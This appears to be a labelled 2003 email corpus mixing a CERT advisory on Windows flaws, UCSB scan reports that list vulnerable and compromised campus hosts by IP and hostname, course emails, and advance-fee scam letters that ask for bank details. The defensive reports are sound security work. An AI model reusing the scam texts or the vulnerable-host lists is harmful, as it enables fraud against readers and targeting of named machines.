Microsoft Windows ListBox and ComboBox controls that could allow a local attacker to execute arbitrary code with privileges of the process hosting the controls. (Other resources: MS03-045, CAN-2003-0659) II. Impact The impact of these vulnerabilities ranges from denial of service to the ability to execute arbitrary code. III. Solution Disable the Messenger Service For VU#575892, Microsoft recommends first disabling the Messenger service and then evaluating the need to apply the patch. If the Messenger service is not required, leave it in the disabled state. Apply the patch to make sure that systems are protected, especially if the Messenger service is re-enabled. Instructions for disabling the Messenger service can be found in VU#575892 and MS03-043. Apply patches Microsoft has provided patches for these problems. Details can be found in the relevant Microsoft Security Bulletins. For many home users, the simplest way to obtain these patches will be by running Windows Update. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated, and the changes are noted in the revision history. If a vendor is not listed below, we have not received their authenticated, direct statement. Further vendor information is available in the Systems Affected sections of the vulnerability notes listed above. Microsoft Corporation Please see the following Microsoft Security Bulletins: MS03-041, MS03-042, MS03-043, MS03-044, MS03-045, MS03-046, and MS03-047. Appendix B. References * CERT/CC Vulnerability Note VU#575892 - * CERT/CC Vulnerability Note VU#422156 - * CERT/CC Vulnerability Note VU#467036 - * CERT/CC Vulnerability Note VU#989932 - * CERT/CC Vulnerability Note VU#838572 - * CERT/CC Vulnerability Note VU#435444 - * CERT/CC Vulnerability Note VU#967668 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - * Microsoft Security Bulletin MS03-041 - _________________________________________________________________ Our thanks to Microsoft Corporation for the information contained in their security bulletins. Microsoft has credited the following people for their help in discovering and responding to these issues: Greg Jones of KPMG UK and Cesar Cerrudo, The Last Stage of Delirium Research Group, David Litchfield of Next Generation Security Software Ltd., Brett Moore of Security-Assessment.com, Joao Gouveia, and Ory Segal of Sanctum Inc. _________________________________________________________________ Feedback can be directed to the authors, Shawn V. Hernan and Art Manion. ______________________________________________________________________ This document is available from: ______________________________________________________________________ CERT/CC Contact Information Email: Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History October 16, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP474hpZ2NNT/dVAVAQHpowP/XT60oVtiTpggPZC3c7zmqQNOLeC2ah1L c7gcNSmwa8Ij25D53ephFaMP0PyPDM9w8WX7uDfCYE2W/yMyBx3jwfMs6C5d2wM1 7zhOwu9b2N75rf/UGDuO/QXMe9KSHkIFVJuS3hS6PsOcP307zuh5ieaWCnrGaHFj 3JwQQsmNUTA= =C7x3 -----END PGP SIGNATURE-----",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA17545 for ; Thu, 16 Oct 2003 15:41:30 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA23372 for ; Thu, 16 Oct 2003 15:41:30 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AAGoE-000Hfx-Dq; Thu, 16 Oct 2003 15:41:30 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AAGoB-000HfS-SV; Thu, 16 Oct 2003 15:41:27 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1AAGoB-000HfO-MP; Thu, 16 Oct 2003 15:41:27 -0700 Date: Thu, 16 Oct 2003 15:41:27 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <311220000.1066344087@abc.oit.ucsb.edu> In-Reply-To: <484240000.1066252574@abc.oit.ucsb.edu> References: <484240000.1066252574@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Re: Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1AAGoE-000Hfx-Dq*CA7uA7U6Eu2* Good Afternoon: These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.32.212 A32212.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.56.71 iltis-latitude.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.230 stone.cs.ucsb.edu 128.111.68.250 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.101.182 ahimsa.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 128.111.103.50 128.111.103.51 128.111.103.55 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.207.92 128.111.220.177 maguro.nceas.ucsb.edu 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.25 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.130 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.138 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.147.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.203 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.163 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.165 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.227.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.238 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 52 RPCSS Vulnerable ............................. 122 DCOM Disabled ................................ 75 Not Vulnerable ............................... 3678 Errors ....................................... 14 TCP Port 135 Closed or Host Timeout .......... 61646 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Thu, 16 Oct 2003 17:50:42 -0500",hw3 paper handins,"CS352hers - We are going to ask you to turn in your files for problems 2, 3, and 4 that you created with verilog on homework 3 on paper as well as electronically. You can just print 1 copy of them for your group of 2 and attach it to either group member's homework on Tuesday. Please use staples!! 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It was my fathers friend who advised us to solicit for a foriegn business aid to help us invest this fund. I have already contacted the director of the finance company regarding the deposit and confirm that everything is in order. I am here with my mother and my younger brother. All the neccessary detail will be given in due cause. The amount involve is twenty five million United State dollars ($25m). It is deposited as family valueables in a trunk box for safe keeping. Note that 5% has been maped out for all the expences made during the transaction. 15% will be for your kind assistance. Please I wish you also help us invest the remaining fund in any business of our choice. To facilitate the transaction, your details are required as follows: i) Full names and Address ii) Telephone & Fax numbers iii) Bank name,address & Bank account. So far I have gone with the finace director, it will not take more than seven working days if you follow directions. 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Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 gaius chikere ,gaiuschikere@nzoomail.com,"Sat, 18 Oct 2003 23:31:10 -0000",CONFIDENTIAL," FROM THE DESK OF: DR. GAIUS CHIKERE Tel: 234-803-3359674 LAGOS-NIGERIA Dear Sir, REQUEST FOR URGENT CONFIDENTIAL BUSINESS PROPOSAL After due deliberation with my colleagues, I decided to forward this proposal. We want a reliable person who could assist us to transfer the sum of Fifteen Million United States Dollars (US$15,000,000.00) into his/her account. This fund resulted from an over-invoiced bill from contract awarded under the budget allocation to my ministry and the bill was approved for payment by the concerned Ministries. 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Thus for LD, LEA, ST, and BR you are to add the sign extended 9 bit offset to the PC (*no concatenation*). For JSR, you are to add the sign extended 11 bit offset to the PC (again no concatenation). > For LDR and STR, I am assuming that op1 represents the > base register value and op2 contains the offset and > hence we just add them both together to get the > address. Is that correct? Yes this is correct. > For JMP, we assume that op1 contains the base register > value. So out = op1. Is that correct? Yes. > For TRAP, I am assuming that the trapvector value is > stored in op1. So we just do out = op1. Is that > correct? It is probably more convenient to make out = op2, since all other immediate values that come from the IR use op2. Also note that you need to force the top 8 bits to zero in order to properly index the trap table. > Problem 4: > > If we have received 40 cents and the user puts in more > coins, then what is to be done? I am assuming that > once we hit 40, the machine sends a vend signal, but > if the user is dumb enough to put in more coins then > what are we supposed to do? Do we give a vend signal > and then start from the initial state again?? or does > the machine assume that once we hit 40 or more from > the last coin, it stops taking more coins... You can assume that when the machine reaches 40 cents it gives the vend signal and resets to the initial state. > If we have 50 cents or 55 cents after the last coin, > can we assume that we always return nickels? I suppose - but I'd rather you return the minimum number of coins. > Problem 2: > > How detailed do you want our block diagram to be? We > have a d-flip flop, 2 muxes, an adder and a sign > nextended mechanism for now. Is that what you require? This is a good start and the right level of detail. Make sure you have it all connected up correctly. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 20 Oct 2003 10:03:17 -0500",Questions on the LC3.5 ISA," CS352H-ers, One more: > How should the nzp registers be set for the load operations? In general any instruction that writes the register file should set the NZP bits according to the register being written into the register file. Thus for a load, you actually have to wait to see what value comes back from memory. For the purposes of this problem, just set NZP according to the output of the ALU. > jsrr is > not defined in the .h file, should we be doing something for that? Note that the JSR and JSRR have the same opcode (top 4 bits) but differ in the 5th bit from the top. For the purposes of the ALU, you don't need to distinguish between them. > Also, trap is defined in the .h file but what operation needs to be > done for that? Trap should produce a 16-bit result with the top 8 bits set to zero and the bottom 8 bits set to the bottom 8 bits of the IR. Recall that the TRAP instruction indexes into the trap vector (stored in memory) to fetch the next PC to jump to. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id KAA16597 for ; Mon, 20 Oct 2003 10:24:05 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id KAA04325 for ; Mon, 20 Oct 2003 10:24:05 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ABdlF-000N2t-24; Mon, 20 Oct 2003 10:24:05 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ABdlC-000N2i-Kn; Mon, 20 Oct 2003 10:24:02 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1ABdlC-000N2a-Eo; Mon, 20 Oct 2003 10:24:02 -0700 Date: Mon, 20 Oct 2003 10:23:56 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <8340000.1066670636@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1ABdlF-000N2t-24*R2CioJgKvxk* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.32.212 A32212.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.247 128.111.68.250 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 128.111.103.50 128.111.103.51 128.111.103.55 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.207.92 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.44 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 